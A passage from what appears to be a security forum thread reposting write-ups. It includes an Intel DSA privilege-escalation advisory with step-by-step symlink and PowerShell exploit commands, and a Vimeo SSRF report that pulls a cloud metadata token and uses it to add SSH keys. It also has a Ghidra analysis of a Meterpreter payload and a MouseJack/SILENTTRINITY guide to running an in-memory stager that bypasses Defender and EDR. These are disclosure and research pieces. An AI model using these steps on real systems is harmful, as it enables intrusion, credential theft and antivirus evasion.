    • Etherpad is an open source, web-based collaborative real-time editor, allowing authors to simultaneously edit a text document https://etherpad.net

    Log Aggregation

    C# Offensive Framework

    Labs

    Scripts

    References

    License

    License: GPL v3

     

    Sursa: https://github.com/shr3ddersec/Shr3dKit

    • Like 1
    • Thanks 1
    • Upvote 1
  17. Intel Driver & Support Assistant (DSA) LPE

    Product Intel Driver & Support Assistant (DSA) and Intel Computing Improvement Program
    Severity High
    CVE Reference CVE-2018-12148, CVE- 2018-12168
    Type Local Privilege Escalation

    Description

    Intel Driver & Support Assistant (DSA) is a Freeware application by Intel that checks for updates for Intel drivers and tools.

    It contained a Local Privilege Escalation vulnerability that would allow a local attacker or malware to escalate their privileges from user to system. This vulnerability was patched in version 3.5.0.1

    The same root cause was also identified in 'Intel Computing Improvement Program' for versions before 2.2.0.03942.

    Impact

    An attacker or malicious process could exploit this vulnerability locally to escalate their privileges to NT/SYSTEM.
    The CVSS V3 Vector assigned to this vulnerability is AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H and a score of 7.8.

    Cause

    While the 'Intel(R) SUR QC SA' service is running it may create the file %ProgramData%\Intel\SharedData\SDID. This file is created by the NT/SYSTEM user and is created with the permissions granting all users full control of the file.

     Image 1 SDID permissions2

    A local attacker as any authenticated user can remove the SSID file and create a symlink allowing for arbitrary file creation (with any name) with System permissions while still allowing any user to modify the file once created. 

    Solution

    This vulnerability was patched in  Intel(R) Driver and Support Assistant before 3.5.0.1 and Intel(R) Computing Improvement Program before version 2.2.0.03942.

    The solution in both cases prevents non administrators from writing to the file.

    Exploitation

    An arbitrary file creation and write primitive makes it trivial to gain code execution as system. One approach might be to replace the content of the file created by the Intel application with a malicious DLL and getting a system service/process to load that DLL.
    The simplest way to load a DLL as system is to utilise a feature of the 'Microsoft (R) Diagnostics Hub Standard Collector Service' to load a malicious DLL from the system32 directory.

    Step 1: Remove the File

    Before we can create a symlink we need to remove the SSID file and anything else in the same folder.

    rm "C:\ProgramData\Intel\SharedData\*"

    Step 2: Create Symlink

    Next we need to create a symlink.

    To do this without administrator rights we first need to create a Mount Point such that 'C:\ProgramData\Intel\SharedData\' points to the "\RPC Control\" object directory. We then create a Symlink such that "\RPC Control\SSID" points to "\\?\C:\Windows\System32\evilDll.dlll"

    To do this we can use James Forshaw's symboliclink-testing-tools (https://github.com/google/symboliclink-testing-tools)

    CreateSymlink.exe C:\ProgramData\Intel\SharedData\SDID C:\Windows\System32\evilDll.dll

    Step 3: Start Service

    The service that creates the file is not always running and thus we will need to start it. Thankfully this service can be started by any authenticated user:

    Start-Service -Name "Intel(R) SUR QC SAM"

    Step 4: Trigger file creation

    The service does not automatically create the file, so we need to trigger the file creation. From reverse engineering the service we found the code that is responsible for the creation of the file and that it can be triggered using a couple of HTTP requests to a locally listening server.

    $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
    $headers.Add("Origin", "http://localhost")
    $params1 = "0`r`n"
    $params2 = '{"assetId": "ef1526ef-396a-4eb3-9869-79ec77c3715b","type": "WindowsApplication","name": "Intel(R) Computing Improvement Program", "custom_data": {"SURVersion": "2.1.03638"}}'
    $port = Get-Content -Path "C:\ProgramData\Intel\SUR\QUEENCREEK\Updater\AppData\web_server_port.txt"
    $uri1 = "http://127.0.0.1:$port/api/v2/api_lock"
    $uri2 = "http://127.0.0.1:$port/api/v2/updates"
    Invoke-WebRequest -Uri $uri1 -Method PUT -Body $params -ContentType "application/json" -Headers $headers
    Invoke-WebRequest -Uri $uri2 -Method POST -Body $params2 -ContentType "application/json" -Headers $headers

    Step 5: Stop Service

    Once the file has been created we need to stop service so it closes the file.

    Stop-Service -Name "Intel(R) SUR QC SAM"

    Step 6: Replace file with evil DLL content

    The contents of the DLL can now be modified to contain malicious code that will be executed as System when it is loaded.

    In this PoC we built a simple DLL that will spawn cmd.exe when loaded.

    Step 7: Load DLL

    For this PoC we decided to load the DLL using a nifty trick by getting the Windows Service ''Microsoft (R) Diagnostics Hub Standard Collector Service" (DiagHub) to load it for us. The details of this technique can be found in a blog post by James Forshaw (https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html).

    Here we modified James' code to launch our evilDLL which results in a System shell being spawned.

    Image 4 System Shell

    Timeline

     

    Date Summary
    03/07/2018 Reported bug via hackerone and email to intel PSIRT
    03/07/2018 Response saying they have passed the report to the aproprate application team
    09/07/2018 Full working exploit provided via hackerone
    13/07/2018 Emailed intel PSIRT with full details and working exploit
    13/07/2018 Product team confirm vulnerabiltiy and that it affects multiple products
    31/07/2018 CVE assigned
    11/09/2018 Vulnerability patached and Intel Advisory issued

    Further Information

    https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00165.html

    https://github.com/googleprojectzero/symboliclink-testing-tools

     

     

    Sursa: https://labs.mwrinfosecurity.com/advisories/intel-driver-and-support-assistant-dsa-lpe/

  18. Vimeo SSRF with code execution potential.

    Mar 8

    Recently i discovered a semi responded SSRF on Vimeo with code execution possibility. This blog post explains how i found & exploited it. So lets get started.

    Background.

    Vimeo provides an API console for their API called API Playground, The requests made using this web app is done from server side. Take the bellow request as an example.

     
    1*07VU1s92mu4Ssr6vMR2oDg.png
    Base request

    This request is supposed to make a server side GET request to

    https://api.vimeo.com/users/{user_id}/videos/{video_id}

    If you look closely to the request we control quite of things here, First the uri parameter which is the endpoint to hit on endpoint i.e. in this case is /users/{user_id}/videos/{video_id} , Request method i.e. in this case is set to GET , params which are supposed to be post parameters if the request method is POST. user_id & video_id are kind of variables whose values gets defined in segments parameter.

    Path traversal in HTTP requests made on server side.

    I first tried to change URI parameter to my custom path however any change in URI will result into a 403, Means that they’re allowing set of API endpoints. However changing the value of variables such as user_id & videos_id is possible because they’re intentional and because this values reflect in the path of URL. Passing ../../../ will result in a request to ROOT of api.vimeo.com
    Bellow is what happens.

    URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)

    Result : https://api.vimeo.com/attacker

     
    1*19kFzMWxgw9TeNnArYxGPQ.png
    Path traversal in HTTP requests made on server side

    As you can see in response all endpoints of api.vimeo.com is listed which is root response of api.vimeo.com if you make an authenticated request (with authorization header) .

    What now? We’re still on api.vimeo.com host, how do we escape it?

    Well i figured that this is following HTTP 30X redirects, Its a long story took some a bit logical thinking.

    Back to the point, Now i know this is following HTTP redirects and we’re good to move forward, We need an open redirect so that we can redirect server to our controlled asset.

    The good old content discovery…

    A minute of content discovery and i came across an endpoint on api.vimeo.com which makes a redirection to vimeo.com with our controlled path on vimeo.com

    https://api.vimeo.com/m/something
     
    1*ASjV-YoneKJj99mH2bWfjQ.png
    api.vimeo.com to vimeo.com

    Cool, Now we have a wide scope to find an open redirect, I have a not very useful open redirect on vimeo.com , I wont be disclosing its details but lets just assume it is something like this

    https://vimeo/vulnerable/open/redirect?url=https://attacker.com

    This makes a 302 redirect to attacker.com,

    Chain completed to redirect to attacker asset..

    The final payload to redirect the server to our controlled asset is

    ../../../m/vulnerable/open/redirect?url=https://attacker.com

    Passing this value inside video_id will parse URL in this way

    https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

    Which on parsing becomes

    https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

    HTTP redirection made & followed to

    https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

    Another HTTP redirection made & followed to

    https://attacker.com
     
    1*_pnPVl34KJq6PdrCjECxew.png
    SSRF Achieved, Redacted details regarding the open redirect and my domain.

    The server expects a JSON response and parses it and shows in response.

    Exploiting..

    As Vimeo infrastructure is on Google cloud, My first attempt was to hit the Google metadata API. I followed the approach taken by André Baptista (0xacb)

    This endpoint gives us service account token.

    http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
    { “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }

    Scope of token

    $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  
     
    Response:
    { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }

    I could then use this token to add my public SSH key to instance and then connect via my private key

    $ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}
    Response: 
    { “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}

    And…

     
    1*uDQldqL2zISUeXV8_6b0qg.png
    keys added
     
    1*AeRV_Dn4aOw8IJZf9ykxNQ.gif
    *Le me

    However SSH port was open on internal network only :(( but this was enough to proof that internally this can be escalated to shell access.

    Kubernetes keys were also extracted from metadata API, but for some reason i was not able to use them, Although Vimeo team did confirm they were valid.

    Due to my work & involvement with Vimeo, I was allowed to go deeper than would normally have been allowed.

    That’s it folks. I hope you liked this. Share/Re-Tweet is much appreciated, Have any questions regarding this? DM @ rootxharsh

    Thanks to;

    Vimeo team for allowing disclosure of this issue.

    Andre (0xacb) for his awesome report

    Brett (bbuerhaus) for his write up about this SSRF (He and Ben have some lit AF writeups)

    Timeline

    28th Jan early morning : Initial discovery.

    28th Jan : Triaged by HackerOne team

    28th Jan : Vimeo team rewarded initial $100 and pushed temporary fix.

    30th/31st Jan : Permanent fix pushed

    1st Feb : $4900 rewarded.

     

    Go to the profile of Harsh Jaiswal

     

    Sursa: https://medium.com/@rootxharsh_90844/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e

  19. Analysing meterpreter payload with Ghidra
    •  
    •  
    •  

    Yesterday I found a powershell script using urlscan.io which can be found. I didn't (and still don't) have any idea about the origins, being benign or malicious. Spoiler, it is (just) a meterpreter reverse-https payload being delivered using Metasploit's Web Delivery. 

    Urlscan is a great and powerfull tool to analyse webpages. It delivers reports about how the page loads, creates screenshots, stores interesting files and extracts all kind of indicators. Urls can be scanned manually or by the api. There are many automated submissions, like links that have been included in emails or are suspicious. The service helps to find other domains running from the same ip, similar pages and campaigns. 

    Searching for 1.ps1 using urlscan delivers all kind of powershell scripts (many malicious), as also the one I found. Just to add some context, I searched for other occurences of the ip address and file hash delivers, but found just one single result. 

    The powershell contains a base64 encoded payload which will be executed by starting a new powershell session with the script as argument. Using Cyberchef it is easy to decode the base64 payload as can be shown here. Multiple of my dear handler colleagues have written about this useful service already. Cyberchef (runs client side only) makes it easy to create recipes, that will transform the data by just dropping new operations (which are many predefined) to the recipe. This step only base64 decodes the payload, but the next step deflates the payload also.

    Step 2 contains the encoded reverse-https Meterpreter payload that will be loaded and executed in memory. If we now extract the payload and extract it using another recipe we have the shellcode and we'll load this into Ghidra. Ghidra is the Software Reverse Engineering (SRE) suite of tools which are developed (and now opened) by the NSA. Currently the github repository contains only a placeholder, but it says it will be made available opensource. There has been tweeted a lot about Ghidra and overall reactions are positive. Positive reactions are about the decompiler, the ability for collaborating with colleagues, support for adding multiple binaries to a single project, ability to undo, diffing, many supported processors and the analysis. Negative reactions are that it is based on java, supports no debugging and (steep) learning curve. A more thorough overview can be found in this article of Joxean Koret

    Just to highlight a few features of Ghidra, we'll load the binary. After loading the file we have to pick the language, which is x86 32 bits and the binary can be analysed.

    Screenshot%202019-03-08%20at%2010_30_04.

    After importing it will show a small summary about the results. 

    Screenshot%202019-03-08%20at%2010_30_17.

    The payload start address (0x0) needs to be disassembled manually, as it doesn't recognise the code. After disassembling the first bytes, the other code will following and you'll get the this screen. The code can be annotated, functions created, diffed etc. 

    Screenshot%202019-03-08%20at%2010_32_56.

    Ghidra will show the decompiled function next to the assembly view, a sample of decompilated function (the http request and response part) looks like this.

    Screenshot%202019-03-08%20at%2010_38_26.

    The payload uses a hashed functions to prevent presence of strings within the payload containing the system functions, which makes it less readable. 

    After analyses this is just a default Meterpreter payload where a reverse https shell will be opened to a Meterpreter handler.

    Meterpreter http(s) handlers will use the default "It works" page we know from Apache, but only a bit different. As the default Apache index.html contains an extra \n (sha256: f2dcc96deec8bca2facba9ad0db55c89f3c4937cd6d2d28e5c4869216ffa81cf and 45 bytes), where meterpreter doesn't (sha256: 8f3ff2e2482468f3b9315a433b383f0cc0f9eb525889a34d4703b7681330a3fb and 44 bytes). If we search the meterpreter hash for Censys we'll find over two thousand suspected meterpreter servers. Maybe something to blacklist?

    Remco Verhoef (@remco_verhoef)
    ISC Handler - Founder of DutchSec
    PGP Key

     

    Sursa: https://www.dshield.org/forums/diary/Analysing+meterpreter+payload+with+Ghidra/24722/

    • Upvote 1
  20. logo

    Gitee license

    awesome-windows-kernel-security-development

    pe file format

    meltdown/spectre poc

    lightweight c++ gui library

    direct ui

    chrome

    cef

    WebBrowser

    d3d

    lua

    c++ & js

    gdi/gdi+

    computer vision & machine learning

    compress

    Dongle

    spy++

    Shell Extension for Windows Explorer

    windows system programming

    wsl/unix

    device tree

    irp monitor

    nt crucial modules

    windows kernel driver

    windows kernel driver with c++ runtime

    blackbone

    hidinput

    dkom

    ssdt hook

    eat/iat/object/irp/iat hook

    inline hook

    hook engine

    anti hook

    inject technique (ring0)

    inject technique (ring3)

    WoW64 <-> x64

    anti autorun

    anti dll inject

    load Dll from memory

    Unpack dll load in runtime

    dll hijack

    com hijack

    anti dll hijack

    process hollowing

    pe loader

    memory pe dumper

    dll map detection

    dll to shellcode

    dll to exe

    hide process

    hide & delete dll

    load driver from memory

    bypass memory scanner

    KeUserModeCallBack

    callback

    usb filter

    sfilter

    minifilter

    anti Ransomware

    virtual disk

    virtual file system

    lpc

    alpc

    lsp/spi

    afd

    tdi

    wfp

    ndis

    wsk

    rootkits

    mbr

    bootkits

    uefi/smm

    bootloader

    smc

    anti debug

    crypters

    malware

    EternalBlue && Doublepulsar && Mine

    shellcode analysis

    malware analysis

    arktools

    bypass patchguard

    bypass dse

    HackSysExtremeVulnerableDriver

    windows exploits

    windows kernel exploits

    LPE

    office exploit

    flash exploit

    sandbox

    sandbox escape

    anti exploit

    cve

    hips

    windows hypervisor

    kvm

    vt

    firmware

    fuzzer

    emet

    hotpatch

    memory hack

    game

    game hack

    anti cheat

    software reverse

    pe protector

    unpacker

    emulate code execution

    pin

    symbolic execution

    obfuscation

    deobfuscation

    taint analyse

    bin diff

    debugger

    x64dbg plugin

    live kernel debug

    windbg plugin

    ida script & plugin

    ida sig maker

    idapython

    pykd

    rpc

    hash dump

    auxiliary lib

    ring3 nt api

    winpcap

    metasploit

    shellcode encoder

    shadow

    network lib

    http

    https proxy

    sock proxy

    mitm

    ssl

    json

    serialization

    awesome

    windows Driver Kit ddi (device driver interface) documentation

    windbg preview & jsprovider

    anti-anti-vm

    vm

    spy++

    pe tool

    tools

    post-exploitation

    nsa security tools

    apt

    3rd party library

    rpc

    adblock

    miscellaneous

    slides

    blogs

    sec tools

    waf

    web security research site

    development documents

    browser automated test

    docker

    leaked source code

    sspi

    openssl

    pdb

    gpu

    crypto api

    ipc

    iot sec

    ascii banner

    book code

    regex

    paper

    ebook

    pentest

    wpad/pac

    js obfuscator/deobfuscator

    decompiler

    encryption/decryption tools

    english

    library

    awesome-windows-kernel-security-development

     

    Sursa: https://github.com/ExpLife0011/awesome-windows-kernel-security-development/blob/master/README.md

    • Upvote 1
  21.  
    Mar 10, 2019    |    ico_comments.png   0 comments

    MouseJack: From Mouse to Shell – Part 2

    This is a continuation of Part 1 which can be found here.

    New/Fixed Mice

    Since the last blog post, I’ve done some additional testing and it looks like most of the newer wireless mice are not vulnerable to MouseJack. I tested the best-selling wireless mouse on Amazon (VicTsing MM057), Amazon’s choice (AmazonBasics), and one of my favorites (Logitech M510). All three mice were not vulnerable to MouseJack. If you have a wireless mouse that cannot be patched or you are not sure how to patch it, and the mouse is older than 2017 buy a new mouse/keyboard. If you bought and tested a new mouse against MouseJack, please let me know so I can update this post.

    Accept the Risk or Fix the Issue?

    I’m still curious on how organizations are going to remedy this vulnerability across their environment. To my knowledge, you can identify the manufacturer and model from Device Manager, but because we don’t have a list of all known vulnerable mice, it’s hard to say if a particular mouse is vulnerable or not. For example, I have an old Logitech M510 that isn’t patched and a brand new Logitech M510 that is patched. From the OS level, how do we detect the difference? It would be almost impossible to validate vulnerable wireless mice/keyboards across a 60k seat enterprise. What are you doing to remedy this vulnerability or are you accepting the risk? Please comment below or reach out to me directly.

    From Mouse to Shell – Undetected by Defender

    See Part 1 to setup JackIt and CrazyRadio PA. This time, we will use JackIt and a tool known as SILENTTRINITY. SILENTTRINITY was created by Marcello Salvati (@byt3bl33d3r) in 2018. Here’s a talk Marcello gave at DerbyCon and here’s a link to his GitHub. 

    Black Hills (BHIS) did a Webcast a few weeks ago where they did a deep dive on SILENTTRINITY, which can be found here. I won’t go into how this exactly works, but please check out the BHIS Webcast or the DerbyCon talk above for more info.

    Installing Dependencies

    1. Install Kali
    2. cd /opt
    3. git clone GitHub URL
    4. cd impacket
    5. pip install -r requirements.txt
    6. python setup.py install
      • I ran into issues running this command due to the wrong version of ldap3 (see screenshot below). To fix this, run the following commands:
        • pip2 install ldap3==2.5.1
        • pip2 uninstall ldap3==2.5.2
        • reboot?
        • re-run step 6, it should now install successfully
    image-21.png?ssl=1

    Installing SILENTTRINITY

    1. apt install python3.7 python3.7-dev python3-pip
    2. cd /opt
    3. git clone GitHub URL
    4. cd SILENTTRINITY/Server
    5. python3.7 -m pip install -r requirements.txt

    If all went well, SILENTTRINITY should be installed.

    Running SILENTTRINITY

    Start up SILENTTRINITY by running – python3.7 st.py

    image-22.png?resize=569%2C589&ssl=1

    Run the help command to see our options

    image-23.png?resize=259%2C161&ssl=1

    Review listener options

    image-25.png?resize=389%2C212&ssl=1

    Setup the listener

    image-28.png?ssl=1

    Create the stager – I’m using powershell here, wmic is detected by Defender and msbuild requires msbuild.exe on the attack system.

    image-26.png?ssl=1 The stager is located in /opt/SILENTTRINITY/Server

    Move the stager to a HTTPS location where the file can be downloaded. Make sure you use HTTPS and not HTTP, as at least one AV vendor accidentally identifies this stager as Sparc shellcode (wtf?). Using HTTPS bypasses this Snort signature.

    Download and execute the stager using JackIt

    image-29.png?fit=1024%2C561&ssl=1 image-30.png?ssl=1 image-31.png?ssl=1

    Once you have your session you can run modules against the compromised system. Type modules and then type list.

    image-32.png?ssl=1

    These modules are quite powerful and allow you to run mimikatz (make sure you’re running in an elevated process), enumeration scripts, powershell, cmd, winrm, inject shellcode, exfil via github, etc.

    Here is an example of hostenum – which grabs sys info, av check, user groups, env variables, ipconfig, netstat and current processes.

    image-33.png?resize=551%2C627&ssl=1

    Summary:

    Using JackIt with SILENTTRINITY we are able to bypass Defender. I’d like to note that downloading stager.ps1 through the browser caused Defender to block the download but was able to bypass Defender by downloading and running the stager in memory. I was actually quite surprised this bypassed Defender, so I had to try it on a few other systems.

    I was able to bypass all 3 AV/EDR vendors using this technique; although, at least one EDR system, detected suspicious powershell usage (i.e., powershell downloaded something and ran it). Therefore, if you are able to deliver the stager another way such as say, over smb, you may be able to bypass at least a few AV/EDR.

    I didn’t cover the msbuild stager during this post, but if you really wanted to bypass AV/EDR try this type of stager. As long as msbuild.exe is installed on the attack system, you should be good to go (at least for now :)).

    In Part 3, I’ll cover the blue team side of this, as far as what to look for and how to detect SILENTTRINITY. Unfortunately, there is not an easy way to detect JackIt AFAIK. If you know of a detection mechanism for JackIt/MouseJack, please contact me so I can include it in Part 3.

    Sources

    hunter2 gitbook

    impacket GitHub

    SILENTTRINITY

    DerbyCon

    BHIS Webcast

    JackIt GitHub

    Featured Image – Bastille

     

    Sursa: https://www.jimwilbur.com/2019/03/mousejack-from-mouse-to-shell-part-2/

    • Upvote 1
×
×
  • Create New...